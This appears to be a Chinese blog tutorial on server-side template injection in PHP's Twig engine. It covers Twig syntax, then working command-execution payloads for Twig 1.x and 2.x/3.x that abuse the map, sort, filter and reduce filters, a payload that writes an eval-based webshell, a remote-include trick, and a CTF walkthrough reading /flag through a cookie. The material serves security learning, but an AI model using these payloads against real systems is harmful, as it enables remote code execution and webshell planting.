以Twig模板为例浅学一手SSTI

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什么是SSTI

SSTI：开局一张图，姿势全靠y

SSTI，即服务器端模板注入（Server-Side Template Injection）

常见的注入有：SQL 注入，XSS 注入，XPATH 注入，XML 注入，代码注入，命令注入等等。sql注入已经出世很多年了，对于sql注入的概念和原理很多人应该是相当清楚了，SSTI也是注入类的漏洞，其成因其实是可以类比于sql注入的。

sql注入的成因是从用户获得一个输入后，经过后端脚本语言进行数据库查询，这时我们就可以构造输入语句来进行拼接，从而实现我们想要的sql语句

SSTI也是如此，不过SSTI是在服务端接收了输入后，将其作为web应用模板内容的一部分，在进行目标编译渲染的过程中，将恶意语句进行了拼接，因此可能造成敏感信息泄露、代码执行、getshell等问题

在这我会简单以常见的Twig模板引擎进行演示，有所遗漏错误，欢迎各位师傅们进行补充纠正

模板引擎

模板是一种提供给程序进行解析的一种语法，从初始数据到实际的视觉表达靠的就是这一项工作所实现的，且这种手段是同时存在于前后端的

常见的模板引擎有

1.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了，非常的经典，使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎，它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样，Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来，除非它被修改，否则不会重新编译，这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧，这个应该也是我最初学习的一个模板引擎，非常的经典

FreeMarker

FreeMarker是一款模板引擎：即一种基于模板和要改变的数据，并用来生成输出文本（HTML网页、电子邮件、配置文件、源代码等）的通用工具。它不是面向最终用户的，而是一个Java类库，是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎，而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的，使用非常的广泛，是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎，我这里姑且就叫他 django，我们都知道django 以快速开发著称，有自己好用的ORM，他的很多东西都是耦合性非常高的，你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎，tornado 强调的是异步非阻塞高并发

形形色色的模板引擎为了达到渲染效果，总会对用户输入有所处理，这也就给攻击者提供了道路，尽管模板引擎也会相应提供沙箱机制进行保护，但是也存在沙箱逃逸技术可以进行绕过

攻击思路

找到模板是什么模板引擎，是哪个版本的，然后设法利用模板的内置方法，进行rce、getshell

PHP-Twig

Twig 被许多开源项目使用，比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM；许多框架也支持 Twig，比如 Slim、Yii、Laravel 和 Codeigniter 等等。

本地复现可以用composer搭建

  • 在Twig引擎中，我们可以通过下面方法获得一些关于当前应用的信息（虽然经常会被ban就是…）
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{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

基础语法

模板其实就是一个文本文件，它可以生成我们需要的任何基于文本的格式文件（html、xml、csv等）

它也没有特别的拓展后缀名，.html、.xml、.twig都可

这里主要讲一些我们在利用时会用到的基础知识

变量

应用程序将变量传入模板中进行处理，变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性（方法或 PHP 对象的属性，或 PHP 数组单元），Twig还支持访问PHP数组上的项的特定语法， foo['bar'] ：

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{{ foo.bar }}
{{ foo['bar'] }}

全局变量

模板中始终提供以下变量：

  • _self ：引用当前模板名称；（在twig1.x和2.x/3.x作用不一）
  • _context ：引用当前上下文；
  • _charset ：引用当前字符集。

设置变量

可以为代码块内的变量赋值。赋值使用set标签：

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{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}

过滤器

变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。

下面的示例从 name 标题是：

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{{ name|striptags|title }}

接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素：

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{{ list|join }}
{{ list|join(', ') }}

// {{ ['a', 'b', 'c']|join }}
// Output: abc

// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c

若要对代码部分应用筛选器，请使用apply标签：

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{% apply upper %}
    This text becomes uppercase
{% endapply %}

过滤器有很多，但是我们常用的一般就map、sort、filter、reduce

更多内置过滤器请参考：https://twig.symfony.com/doc/3.x/filters/index.html

控制结构

控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环，以及程序块之类的东西。控制结构出现在 {{% ... %}} 中

例如，要显示在名为 users 使用for标签：

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<h1>Members</h1>
<ul>
    {% for user in users %}
        <li>{{ user.username|e }}</li>
    {% endfor %}
</ul>

if标记可用于测试表达式：

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{% if users|length > 0 %}
    <ul>
        {% for user in users %}
            <li>{{ user.username|e }}</li>
        {% endfor %}
    </ul>
{% endif %}

更多 tags 请参考：https://twig.symfony.com/doc/3.x/tags/index.html

函数

在 Twig 模板中可以直接调用函数，用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表：

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{% for i in range(0, 3) %}
    {{ i }},
{% endfor %}

// Output: 0, 1, 2, 3,

更多内置函数请参考：https://twig.symfony.com/doc/3.x/functions/index.html

注释

要在模板中注释某一行，可以使用注释语法 ``

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{# note: disabled template because we no longer use this
    {% for user in users %}
        ...
    {% endfor %}
#}

引入其他模板

Twig 提供的 include 函数可以使你更方便地在模板中引入模板，并将该模板已渲染后的内容返回到当前模板

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{{ include('sidebar.html') }}

模板继承

Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板，该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。

从一个例子开始更容易理解这个概念。

让我们定义一个基本模板， base.html ，它定义了可用于两列页面的HTML框架文档：

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<!DOCTYPE html>
<html>
    <head>
        {% block head %}
            <link rel="stylesheet" href="style.css"/>
            <title>{% block title %}{% endblock %} - My Webpage</title>
        {% endblock %}
    </head>
    <body>
        <div id="content">{% block content %}{% endblock %}</div>
        <div id="footer">
            {% block footer %}
                &copy; Copyright 2011 by <a href="http://domain.invalid/">you</a>.
            {% endblock %}
        </div>
    </body>
</html>

在这个例子中，block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。

子模板可能如下所示：

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{% extends "base.html" %}

{% block title %}Index{% endblock %}
{% block head %}
    {{ parent() }}
    <style type="text/css">
        .important { color: #336699; }
    </style>
{% endblock %}
{% block content %}
    <h1>Index</h1>
    <p class="important">
        Welcome to my awesome homepage.
    </p>
{% endblock %}

其中的 extends 标签是关键所在，其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板，当模板引擎评估编译这个模板时，首先会定位到父模板。由于子模版未定义并重写 footer 块，就用来自父模板的值替代使用了。

更多 Twig 的语法请参考：https://twig.symfony.com/doc/3.x/

1.x

在twig 1.x版本，存在三个全局变量

  • _self：引用当前模板实例
  • _context：引用上下文
  • _charset：引用当前字符集

其相对应的代码如下

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protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

在twig 1.x中，主要利用的是_self变量，它会返回当前 \Twig\Template 实例，并提供了指向 Twig_Environment 的 env 属性，这样我们就可以继续调用 Twig_Environment 中的其他方法

  • payload

    • setCache方法
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    {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

    通过调用setCache方法改变twig加载php的路径，在allow_url_include开启的条件下，我们就可以实现远程文件包含

    • getFilter方法

    在getFilter方法中存在call_user_func回调函数，通过传入参数我们可以借此调用任意函数

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    #getFilter
    public function getFilter($name)
      {
        ...
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {
          return $filter;
        }
      }
      return false;
    }
     
    public function registerUndefinedFilterCallback($callable)
    {
      $this->filterCallbacks[] = $callable;
    }

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    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

    但以上漏洞都只存在于1.x，在后续版本中，_self只会返回当前实例名字符串

2.x&3.x

在这里我用twig3.x+php7.3.4作为示例

用PHP的API调用twig

  • index.php
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<?php
require_once "./vendor/autoload.php";

$loader = new \Twig\Loader\ArrayLoader([
    'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);


$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

在twig2.x/3.x中，_self不再像1.x时那么有他独特的作用，但是也相应更新了一些特殊方法来供我们利用

map过滤器

map

这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值：

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>{% set people = [
>{first: "Bob", last: "Smith"},
>{first: "Alice", last: "Dupond"},
>] %}

>{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
>{# outputs Bob Smith, Alice Dupond #}

arrow函数还接收密钥作为第二个参数：

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>{% set people = {
>"Bob": "Smith",
>"Alice": "Dupond",
>} %}

>{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
>{# outputs Bob Smith, Alice Dupond #}

注意arrow函数可以访问当前上下文。

可以看出允许用户传一个arrow 函数，arrow 函数最后会变成一个closure

  • 举个例子

当我们传入

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{{["man"]|map((arg)=>"hello #{arg}")}}

在模板中会被编译为

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twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

map所对应的函数如下

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function twig_array_map($array $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v $k);
    }

    return $r;
}

我们可以看到，传入的 $arrow 直接就被当成函数执行，即 $arrow($v, $k)，而 $v 和 $k 分别是 $array 中的 value 和 key

所以$array和$arrow都是我们可控的，那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce

经过查询，有如下几种常见命令执行函数

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system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

有两个参数的函数就上面三种，其对应payload

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{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}}    // 无回显

但是当上面的都被ban了呢，我们还有没有其他方法rce

当然，例如

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file_put_contents ( string $filename  , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

当我们找到路径后就可以利用该函数进行写shell了

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?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}

根据map过滤器的利用思路，我们可以再找到其他类似的，带有$arrow参数的

sort过滤器

sort

这个 sort 筛选器对数组排序：

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>{% for user in users|sort %}
   ...
>{% endfor %}

注解

在内部，Twig使用PHP asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。

您可以传递一个箭头函数来对数组进行排序：

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>{% set fruits = [
   { name: 'Apples', quantity: 5 },
   { name: 'Oranges', quantity: 2 },
   { name: 'Grapes', quantity: 4 },
>] %}

>{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
   {{ fruit }}
>{% endfor %}

>{# output in this order: Oranges, Grapes, Apples #}

注意 spaceship 运算符来简化比较。

类似于map，sort在模板编译时也会进入twig_sort_filter 函数

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function twig_sort_filter($array, $arrow = null)
{
    if ($array instanceof \Traversable) {
        $array = iterator_to_array($array);
    } elseif (!\is_array($array)) {
        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
    }

    if (null !== $arrow) {
        uasort($array, $arrow);    // 直接被 uasort 调用 
    } else {
        asort($array);
    }

    return $array;
}
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uasort ( array &$array , callable $value_compare_func ) : bool

可以看到，$array 和$arrow直接被uasort调用

uasort会将数组中的元素按照键值进行排序，当我们自定义一个危险函数时，就可能造成rce

这样我们就可以构造payload了

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{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter过滤器

filter

这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值：

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>{% set sizes = [34, 36, 38, 40, 42] %}

>{{ sizes|filter(v => v > 38)|join(', ') }}
>{# output 40, 42 #}

与 for 标记，它允许筛选要迭代的项：

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>{% for v in sizes|filter(v => v > 38) -%}
   {{ v }}
>{% endfor %}
>{# output 40 42 #}

它也适用于映射：

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>{% set sizes = {
   xs: 34,
   s:  36,
   m:  38,
   l:  40,
   xl: 42,
>} %}

>{% for k, v in sizes|filter(v => v > 38) -%}
   {{ k }} = {{ v }}
>{% endfor %}
>{# output l = 40 xl = 42 #}

arrow函数还接收密钥作为第二个参数：

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>{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
   {{ k }} = {{ v }}
>{% endfor %}
>{# output l = 40 #}

注意arrow函数可以访问当前上下文。

类似于map，filter在模板编译时也会进入twig_array_filter 函数

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function twig_array_filter($array, $arrow)
{
    if (\is_array($array)) {
        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

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array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

可以看到和前面方法类似，我们实验一下

得到payload

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{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显

{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell

reduce 过滤器

reduce

这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值，从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值：

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>{% set numbers = [1, 2, 3] %}

>{{ numbers|reduce((carry, v) => carry + v) }}
>{# output 6 #}

这个 reduce 过滤器需要 initial 值作为第二个参数：

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>{{ numbers|reduce((carry, v) => carry + v, 10) }}
>{# output 16 #}

注意arrow函数可以访问当前上下文。

直接来看函数

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function twig_array_reduce($array, $arrow, $initial = null)
{
    if (!\is_array($array)) {
        $array = iterator_to_array($array);
    }

    return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}

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array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

可以看到array_reduce是有三个参数的

$array 和 $arrow 直接被 array_filter 函数调用，我们可以利用该性质自定义一个危险函数从而达到rce

刚开始还是像前面一样构造

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{{["id", 0]|reduce("passthru")}}

但是发现没有执行成功，原因是第一次调用的是

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passthru($initial, "id")

因为$initial为null，所以会报错，我们想要对他进行赋值才行

payload

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{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

题目

  • [BJDCTF2020]Cookie is so stable

进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint

返回访问flag.php

经过简单测试猜测为twig（传入49后Jinja2输出7777777，Twig输出49）

同时发现在cookie是我们的输入点，开始查看是什么版本的twig，用_self来测试

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cookie
	user：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

twig1.x，我们直接cat /flag试试

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cookie
	user：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

基本思路还是测试出为哪个模板，哪个版本，测试payload即可

后言

SSTI 并不广泛存在，但如果开发人员滥用模板引擎，那么就很有可能出现SSTI，并且根据其模板引擎的复杂性和开发语言的特性，很大几率会出现非常严重的问题

联想到最近的log4j2漏洞，与SSTI类似，都是将用户的输入当作可信任内容，这才出现了大大小小的安全问题

一句话总结：永远不要相信用户的输入

赏

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    缺失模块。
    1、请确保node版本大于6.2
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    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

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